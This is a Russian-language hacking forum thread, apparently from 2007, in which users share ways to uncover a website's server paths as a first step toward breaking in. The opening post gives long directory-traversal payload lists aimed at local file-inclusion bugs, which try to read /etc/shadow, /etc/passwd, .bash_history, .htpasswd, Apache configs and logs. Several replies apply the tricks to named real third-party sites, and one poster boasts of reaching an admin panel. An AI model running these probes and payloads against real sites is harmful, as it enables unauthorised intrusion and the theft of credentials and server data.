PDA

Просмотр полной версии : Раскрытие Пути.


guest3297
05.01.2007, 17:36
Раскрытие Пути.

Последнее время стало появляться много тем как раскрыть локальный путь на сайте. Я попытаюсь рассказать как это можно сделать. Ну во первых зачем его раскрывать... это может into_outfile или нужно имя юзера, или еще что то извращенное нашим умом.

И так начем:
1) Файлы с phpinfo()
info.php
phpinfo.php
php.php
test.php
testphpinfo.php
testing.php
info.php
inf.php
это далеко не полный список и бывает такое что они находяться не только в корне но и в др папках например /admin/


2) Вывод ошибок:

Нам надо спровоцировать сервер на вывод ошибки любой что он написал в какой строчки крипта ошибка...
как это сделать можно ручками можно сканером.

3) Поиск директорий и файлов.
Способ который я очень часто использую, все знаю о существовании cgi сканеров которые сканят на папки и файлы и вот составив внушительный лист этот сканер становиться бесценным. Тоесть мы ищем папки и файлы на которые нету ссылок не где... что может быть в таких папках/файлах ну то что там может быть не устовленный скрипт или просто без конфига то вероятность вывода ошибок повышаеться в 10 раз.

4)Поиск юзера.
Многие скептически относяться к это баги... но если сайт на cgi то 90% взлома. Сначало о чнем я говорю не многие думаю поймут. http://site.ru/~root/ возвращает нам 403 значит поиск юзеров разрешен как же его искать например
gazprom.ru/~gazprom.ru
gazprom.ru/~gazpromru
gazprom.ru/~gazpromr
gazprom.ru/~gazprom
gazprom.ru/~gazpr
и так далее.

Что же нам это даст? Просмотр папки cgi-bin и то имя которое используеться в /etc/passwd
(Эта уязвимость присутствует только в апаче при включенном mod_user)

5)Ошибки в cgi.
В cgi так же есть аналоги phpinfo + именно ошибки в cgi-bin будть то скуль или иклуд. Например из стандартных файлов хостера printenv.pl который выводит путь.

6)Хостер
Можно просто представиться клинтом и спросить любой путь (если мы знаем имя нашего юзера действуем по аналогии).
Можно поискать ошибки на сайтах которые хостяться рядом и по аналогии если нам известно имя юзера, составить свой путь.

7)Поисковые системы.
Очень часто в поисковиках остаються те или иные баги... запечатленные на сайтах это может быть временный отказ бд или или отказ в открытие сессии.
Поиск осуществляем.
site:target.com
Будет полезно почитать весь листинг, но если он очень большой то юзаем примерно такие запросы тут все зависит от фантазии.
site:target.com Warning
site:target.com on line
site:target.com mysql_fetch_array()

Ну и так далее.

8(new))Логический перебор.
Не знаю как правильно назвать этот способ, вообщем случай у нас будет такой есть локальный инклуд или load_file в sql, И нас необходимо узнать путь что бы прочесть тот или иной(способов взлома в такой ситуации много но остановимся именно на чтении файлов и поиске путя до www) Сначало подумает что нам может помочь вообще???

1) Утсновленная ОС
2)Сервер (http)
3)тип сервера (хостинг/vds/vps/отдельная станция)
4)Список юзеров (/etc/passwd)
5)Конфиги логи и все что мы сможем найти.
6)Кофе Сигареты и много терпения.

И так я рассмотрю OC *nix и сервер apache как самые частые.
ну начнем с определения oс в этом на поможет nmap или любой другой сканер можем так же воспользоваться telenet :). Определили стоит linux. Для начала прочтем /etc/passwd найдем своего юзера и посмотрим его домашний каталог. определяем какуюто страничку на сервере например site.com/index.htm теперь мы имеем подобную загадку /home/user/***/***/ ... /index.htm
теперь начинаем перебирать в таком стиле:
/home/user/www/index.htm
/home/user/html/index.htm
/home/user/site/www/index.htm
/home/user/sites/site.com/index.htm
Скажу что за 2 часа ручного перебора и разумеется богатого воображения можно перебрать практически все возможные варианты.
USER CONFS

/.bash_history
/.htpasswd
/.htaccess
/etc/.htpasswd
/etc/shadow
/root/.bash_history

HTTPD

/usr/local/apache/conf/httpd.conf
/usr/apache/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/usr/local/http/conf/httpd.conf
/usr/http/conf/httpd.conf
/usr/httpd/conf/httpd.conf

В конфигах апача можно найти реальный путь и еще много чего интересного.

ищем логи

../../../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../../../var/log/httpd/error_log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../apache/logs/error.log
../../../../apache/logs/access.log
../../../../../apache/logs/error.log
../../../../../apache/logs/access.log
../../../../../../apache/logs/error.log
../../../../../../apache/logs/access.log
../../../../../../../apache/logs/error.log
../../../../../../../apache/logs/access.log
../../../../../../../../apache/logs/error.log
../../../../../../../../apache/logs/access.log
../../../logs/error.log
../../../logs/access.log
../../../../logs/error.log
../../../../logs/access.log
../../../../../logs/error.log
../../../../../logs/access.log
../../../../../../logs/error.log
../../../../../../logs/access.log
../../../../../../../logs/error.log
../../../../../../../logs/access.log
../../../../../../../../logs/error.log
../../../../../../../../logs/access.log
../../../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../../../var/log/access_log
../../../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../../../var/log/access_log
../../../../../../../../../../../../var/log/error_log

Поиск с ../../../ применять только при инклудах.

Пока все ждите обновлений.

Xex
05.01.2007, 19:59
RE:"
3) Поиск директорий и файлов.
Способ который я очень часто использую, все знаю о существовании cgi сканеров которые сканят на папки и файлы и вот составив внушительный лист этот сканер становиться бесценным. Тоесть мы ищем папки и файлы на которые нету ссылок не где... что может быть в таких папках/файлах ну то что там может быть не устовленный скрипт или просто без еонфига то вероятность вывода ошибок повышаеться в 10 раз."
- вот именно этим я и заморочился здесь->http://forum.antichat.ru/showthread.php?p=259242
Так что предлагаю совместными усилиями пополнять этот список=)

max_pain89
05.01.2007, 20:25
2. Я такие встречал
phpinfo.php
php.php
test.php
testphpinfo.php
testing.php
info.php
inf.php

ArdeOS
06.01.2007, 00:45
очень маленькая статья получилась, ну да ладно, в конце сам написал что будет дополнена - будем ждать.

И еще исправь - без еонфига, скиптичиски, редом ...

guest3297
06.01.2007, 00:51
2ArdeOS
испраил.
2max_pain89
добавил.

Robin_Hood
06.01.2007, 14:23
небольшое дополнение:
забыл про гугл)
оч редко админы заморачиваются с роботс.тхт

k1b0rg
06.01.2007, 18:14
незачот..

тема ебли не раскрыта

p.s. в ирке я тебе описывал еще варианты

guest3297
06.01.2007, 19:34
2k1b0rg
Обновил.

2Robin_Hood
Обновил.

cardons
07.01.2007, 06:10
']Раскрытие Пути.

4)Поиск юзера.
Многие скептически относяться к это баги... но если сайт на cgi то 90% взлома. Сначало о чнем я говорю не многие думаю поймут. http://site.ru/~root/ возвращает нам 403 значит поиск юзеров разрешен как же его искать например
gazprom.ru/~gazprom.ru
gazprom.ru/~gazpromru
gazprom.ru/~gazpromr
gazprom.ru/~gazprom
gazprom.ru/~gazpr
и так далее.

Что же нам это даст? Просмотр папки cgi-bin и то имя которое используеться в /etc/passwd
(Эта уязвимость присутствует только в апаче при включенном mod_user)

Че то у меня нифига неполучаеться
http://www.rl3.ru/~root/ Выводит 403 ошибку
А http://www.rl3.ru/~rl3ru/ просто заново загружает сайт

guest3297
07.01.2007, 06:43
_http://www.rl3.ru/~rl3ru/cgi-bin/
_http://www.rl3.ru/~root/ ты не прочтешь...

D=P=CH= MOD=
07.01.2007, 12:55
Добавлю...

3) Поиск директорий и файлов.

Очень хороший сканер, ищущий директории файлов это IntelliTamper .
Сам юзаю.

А вобще интересная статья +.

guest3297
07.01.2007, 18:51
2D=P=CH= MOD=

Полное гавно так как ищет линкованные страницы и все это еще и грузит на комп море трафика и 0 пользы учитывая что все эти ссылки ты можешь найти сам.
Если хочешь действительно хорошего результата использую свой спиок файлов и папок у меня например щас 34.000 записей, иногда подобный скан заменяет ls.

guest3297
04.02.2007, 17:16
8(new))Логический перебор.
Не знаю как правильно назвать этот способ, вообщем случай у нас будет такой есть локальный инклуд или load_file в sql, И нас необходимо узнать путь что бы прочесть тот или иной(способов взлома в такой ситуации много но остановимся именно на чтении файлов и поиске путя до www) Сначало подумает что нам может помочь вообще???

1) Утсновленная ОС
2)Сервер (http)
3)тип сервера (хостинг/vds/vps/отдельная станция)
4)Список юзеров (/etc/passwd)
5)Конфиги логи и все что мы сможем найти.
6)Кофе Сигареты и много терпения.

И так я рассмотрю OC *nix и сервер apache как самые частые.
ну начнем с определения oс в этом на поможет nmap или любой другой сканер можем так же воспользоваться telenet :). Определили стоит linux. Для начала прочтем /etc/passwd найдем своего юзера и посмотрим его домашний каталог. определяем какуюто страничку на сервере например site.com/index.htm теперь мы имеем подобную загадку /home/user/***/***/ ... /index.htm
теперь начинаем перебирать в таком стиле:
/home/user/www/index.htm
/home/user/html/index.htm
/home/user/site/www/index.htm
/home/user/sites/site.com/index.htm
Скажу что за 2 часа ручного перебора и разумеется богатого воображения можно перебрать практически все возможные варианты.
USER CONFS

/.bash_history
/.htpasswd
/.htaccess
/etc/.htpasswd
/etc/shadow
/root/.bash_history

HTTPD

/usr/local/apache/conf/httpd.conf
/usr/apache/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/usr/local/http/conf/httpd.conf
/usr/http/conf/httpd.conf
/usr/httpd/conf/httpd.conf

В конфигах апача можно найти реальный путь и еще много чего интересного.

ищем логи

../../../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../../../var/log/httpd/error_log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../apache/logs/error.log
../../../../apache/logs/access.log
../../../../../apache/logs/error.log
../../../../../apache/logs/access.log
../../../../../../apache/logs/error.log
../../../../../../apache/logs/access.log
../../../../../../../apache/logs/error.log
../../../../../../../apache/logs/access.log
../../../../../../../../apache/logs/error.log
../../../../../../../../apache/logs/access.log
../../../logs/error.log
../../../logs/access.log
../../../../logs/error.log
../../../../logs/access.log
../../../../../logs/error.log
../../../../../logs/access.log
../../../../../../logs/error.log
../../../../../../logs/access.log
../../../../../../../logs/error.log
../../../../../../../logs/access.log
../../../../../../../../logs/error.log
../../../../../../../../logs/access.log
../../../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../../../var/log/access_log
../../../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../../../var/log/access_log
../../../../../../../../../../../../var/log/error_log

Поиск с ../../../ применять только при инклудах.

Пока все ждите обновлений.

FoGorm
22.08.2007, 08:37
']
7)Поисковые системы.
Очень часто в поисковиках остаються те или иные баги... запечатленные на сайтах это может быть временный отказ бд или или отказ в открытие сессии.
Поиск осуществляем.
site:target.com
Будет полезно почитать весь листинг, но если он очень большой то юзаем примерно такие запросы тут все зависит от фантазии.
site:target.com Warning
site:target.com on line
site:target.com mysql_fetch_array()

Ну и так далее.

Респектище огромный!!! Помогло после долгих мучений найти полный путь! Google.ru rulez, автору +!

f1rebl00d
22.08.2007, 13:11
Есче на ксакепе писали про раскрытие путей.

Можа параметр передать в переменную как массив, подставим в имени переменной [] квадратные скобочки
http://www.oclcpica.org/?id[]=2&ln=uk

Даж в админку так попал :)
http://www.woolsnz-college.com/admin/frameset.php3?post[]=1

Lancellot
22.08.2007, 17:08
хорошая статья!!!
не посоветуете какой нибудь сканер cgi уязвимостей в котором можно постоянно обновлять базу?

guest3297
23.08.2007, 09:25
2Lancellot (http://forum.antichat.ru/member.php?u=26329)
Сканер acceess diver.
Базу надо самому дополнять.

Разберусь с машиной напишу дополнение к статье.

_Great_
23.08.2007, 14:04
Кстати вариант насчет ошибок - довольно часто прокатывает такое:
допустим скрипт использует php-сессии (session_start и аналогичное) и включен режим отображения ошибок. Тогда если подставить в идентификатор сессии (в куках или в url) символы не из алфавитноцифрового набора, например точку ".", то интерпретатор PHP выдаст ошибку о неправильных символах в идентификаторе сессии, с раскрытием пути.

guest3297
23.08.2007, 14:12
Переменная называеться phpsid в оригинале. Достаточно подставить любой сивнол который не A-Z a-z 0-9

DIAgen
23.08.2007, 14:51
А закрыть это можно просто написав
@session_start();

_Great_
23.08.2007, 16:17
']Переменная называеться phpsid в оригинале. Достаточно подставить любой сивнол который не A-Z a-z 0-9
Поправка - PHPSESSID. А вообще я написал уже. Обычно ставлю точку

А закрыть это можно просто написав
@session_start();
ну блин, закрыть все можно :)
достаточно будет error_reporting(0) кажись

PS. Кому интересно - пример ищется в гугле по запросу "inurl:phpsesid", например вот:
http://www.stat.gov.lt/en/?PHPSESSID=.
Warning: session_start(): The session id contains invalid characters, valid characters are only a-z, A-Z and 0-9 in /home/std/www/lib/Session.class.php on line 20

Alexsize
24.08.2007, 10:10
Что то мне кажеться не все раскрыто....
Клац (http://www.xakep.ru/post/36176/default.asp)

_Great_
26.08.2007, 08:44
Кстати довольно занятная статейка там. Автору на заметку..